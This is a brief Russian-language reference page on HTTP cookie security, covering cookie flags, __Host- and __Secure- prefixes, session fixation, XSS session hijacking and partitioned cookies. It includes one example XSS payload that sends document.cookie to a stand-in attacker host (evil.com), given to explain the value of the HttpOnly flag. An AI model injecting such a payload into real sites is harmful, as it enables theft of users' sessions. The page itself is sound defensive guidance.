Cookie security

HTTP-куки — вектор для XSS-краж, CSRF, session-hijack. Правильные флаги закрывают половину проблем.

Флаги

ФлагЧто делает
Secureкука уходит только по HTTPS. Обязательно для sensitive.
HttpOnlyJS не может прочитать через document.cookie. Защита от XSS-кражи.
SameSite=Strict/Laxзащита от CSRF. См. SameSite.
Domainдля каких доменов. Без — только для того что установил.
Pathдля каких путей. Обычно /.
Max-Age / Expiresвремя жизни. Без — session cookie.

Пример правильной сессионной куки

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

__Host- и __Secure- префиксы

Set-Cookie: __Host-session=abc; Secure; HttpOnly; Path=/; SameSite=Strict

Браузер отклонит куку с префиксом если условия не соблюдены. Защита от subdomain-injection.

Session fixation

Атакующий устанавливает свою session-cookie до логина жертвы. После логина сервер продолжает ту же сессию → атакующий тоже залогинен.

Защита: после логина всегда генерить новый session ID.

Session hijack через XSS

Если нет HttpOnly — fetch('//evil.com?c='+document.cookie). С HttpOnly — куку не украсть, но XSS всё равно опасен (запросы отправляются с куками автоматически).

Партишн-куки (CHIPS)

Chrome: Partitioned — куку от a.com, встроенного в b.com, изолируют по top-frame. Замена сторонних кук для embedded-сервисов.

Set-Cookie: __Host-3rd=xyz; Secure; HttpOnly; SameSite=None; Path=/; Partitioned

Ограничения

См. также